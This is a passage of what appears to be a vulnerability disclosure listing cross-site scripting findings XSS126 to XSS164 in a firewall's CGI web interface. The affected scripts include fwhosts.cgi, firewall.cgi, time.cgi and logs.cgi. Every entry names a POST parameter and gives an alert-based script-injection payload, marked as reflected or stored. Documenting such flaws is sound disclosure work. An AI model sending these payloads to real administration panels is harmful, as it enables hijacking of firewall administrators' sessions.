PARAMETER  
DHCP_WINS  
  
PAYLOAD  
'><script>alert(125)</script>  
  
#################################################################################  
  
XSS126 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROUTES_PUSH  
  
PAYLOAD  
'><script>alert(126)</script>  
  
#################################################################################  
  
XSS127 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
FRAGMENT  
  
PAYLOAD  
'><script>alert(127)</script>  
  
#################################################################################  
  
XSS128 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
KEEPALIVE_1  
  
PAYLOAD  
'><script>alert(128)</script>  
  
#################################################################################  
  
XSS129 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
KEEPALIVE_2  
  
PAYLOAD  
'><script>alert(129)</script>  
  
#################################################################################  
  
XSS130 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ddns.cgi  
  
METHOD  
Post  
  
PARAMETER  
ID  
  
PAYLOAD  
'><script>alert(130)</script>  
  
#################################################################################  
  
XSS131 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ddns.cgi  
  
METHOD  
Post  
  
PARAMETER  
HOSTNAME  
  
PAYLOAD  
'><script>alert(131)</script>  
  
#################################################################################  
  
XSS132 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ddns.cgi  
  
METHOD  
Post  
  
PARAMETER  
LOGIN  
  
PAYLOAD  
'><script>alert(132)</script>  
  
#################################################################################  
  
XSS133 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ddns.cgi  
  
METHOD  
Post  
  
PARAMETER  
PASSWORD  
  
PAYLOAD  
'><script>alert(133)</script>  
  
#################################################################################  
  
XSS134 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/time.cgi  
  
METHOD  
Post  
  
PARAMETER  
NTP_ADDR_1  
  
PAYLOAD  
'><script>alert(134)</script>  
  
#################################################################################  
  
XSS135 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/time.cgi  
  
METHOD  
Post  
  
PARAMETER  
NTP_ADDR_2  
  
PAYLOAD  
'><script>alert(135)</script>  
  
#################################################################################  
  
XSS136 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/time.cgi  
  
METHOD  
Post  
  
PARAMETER  
UPDATE_VALUE  
  
PAYLOAD  
'><script>alert(136)</script>  
  
#################################################################################  
  
XSS137 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ids.cgi  
  
METHOD  
Post  
  
PARAMETER  
OINKCODE  
  
PAYLOAD  
'><script>alert(137)</script>  
  
#################################################################################  
  
XSS138 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/extrahd.cgi  
  
METHOD  
Post  
  
PARAMETER  
FS  
  
PAYLOAD  
'><script>alert(138)</script>  
  
#################################################################################  
  
XSS139 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/extrahd.cgi  
  
METHOD  
Post  
  
PARAMETER  
PATH  
  
PAYLOAD  
'><script>alert(139)</script>  
  
#################################################################################  
  
XSS140 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/extrahd.cgi  
  
METHOD  
Post  
  
PARAMETER  
UUID  
  
PAYLOAD  
'><script>alert(140)</script>  
  
#################################################################################  
  
XSS141 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/firewall.cgi  
  
METHOD  
Post  
  
PARAMETER  
src_addr  
  
PAYLOAD  
'><script>alert(141)</script>  
  
#################################################################################  
  
XSS142 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/firewall.cgi  
  
METHOD  
Post  
  
PARAMETER  
tgt_addr  
  
PAYLOAD  
'><script>alert(142)</script>  
  
#################################################################################  
  
XSS143 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/firewall.cgi  
  
METHOD  
Post  
  
PARAMETER  
SRC_PORT  
  
PAYLOAD  
'><script>alert(143)</script>  
  
#################################################################################  
  
XSS144 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/firewall.cgi  
  
METHOD  
Post  
  
PARAMETER  
TGT_PORT  
  
PAYLOAD  
'"><script>alert(144)</script>  
  
#################################################################################  
  
XSS145 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/firewall.cgi  
  
METHOD  
Post  
  
PARAMETER  
ruleremark  
  
PAYLOAD  
'><script>alert(145)</script>  
  
#################################################################################  
  
XSS146 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
HOSTNAME  
  
PAYLOAD  
'><script>alert(146)</script>  
  
#################################################################################  
  
XSS147 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
IP  
  
PAYLOAD  
'><script>alert(147)</script>  
  
#################################################################################  
  
XSS148 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
SUBNET  
  
PAYLOAD  
'><script>alert(148)</script>  
  
#################################################################################  
  
XSS149 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
NETREMARK  
  
PAYLOAD  
'><script>alert(149)</script>  
  
#################################################################################  
  
XSS150 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
HOSTREMARK  
  
PAYLOAD  
'><script>alert(150)</script>  
  
#################################################################################  
  
XSS151 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
newhost  
  
PAYLOAD  
'><script>alert(151)</script>  
  
#################################################################################  
  
XSS152 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
grp_name  
  
PAYLOAD  
'><script>alert(152)</script>  
  
#################################################################################  
  
XSS153 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
remark  
  
PAYLOAD  
'><script>alert(153)</script>  
  
#################################################################################  
  
XSS154 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
SRV_NAME  
  
PAYLOAD  
'><script>alert(154)</script>  
  
#################################################################################  
  
XSS155 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
SRV_PORT  
  
PAYLOAD  
'><script>alert(155)</script>  
  
#################################################################################  
  
XSS156 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
SRVGRP_NAME  
  
PAYLOAD  
'><script>alert(156)</script>  
  
#################################################################################  
  
XSS157 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
SRVGRP_REMARK  
  
PAYLOAD  
'><script>alert(157)</script>  
  
#################################################################################  
  
XSS158 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/fwhosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
updatesrvgrp  
  
PAYLOAD  
'><script>alert(158)</script>  
  
#################################################################################  
  
XSS159 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/logs.cgi/config.dat  
  
METHOD  
Post  
  
PARAMETER  
ENABLE_REMOTELOG  
  
PAYLOAD  
'><script>alert(159)</script>  
  
#################################################################################  
  
XSS160 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/logs.cgi/proxylog.dat  
  
METHOD  
Post  
  
PARAMETER  
FILTER  
  
PAYLOAD  
'><script>alert(160)</script>  
  
#################################################################################  
  
XSS161 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/logs.cgi/firewalllogip.dat  
  
METHOD  
Post  
  
PARAMETER  
pienumber  
  
PAYLOAD  
'><script>alert(161)</script>  
  
#################################################################################  
  
XSS162 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/logs.cgi/firewalllogport.dat  
  
METHOD  
Post  
  
PARAMETER  
pienumber  
  
PAYLOAD  
'><script>alert(162)</script>  
  
#################################################################################  
  
XSS163 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/logs.cgi/firewalllogcountry.dat  
  
METHOD  
Post  
  
PARAMETER  
pienumber  
  
PAYLOAD  
'><script>alert(163)</script>  
  
#################################################################################  
  
XSS164 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/logs.cgi/log.dat  
  
METHOD  
Post  
  
PARAMETER  
SECTION  
  
PAYLOAD  
'><script>alert(164)</script>  
  
#################################################################################  
`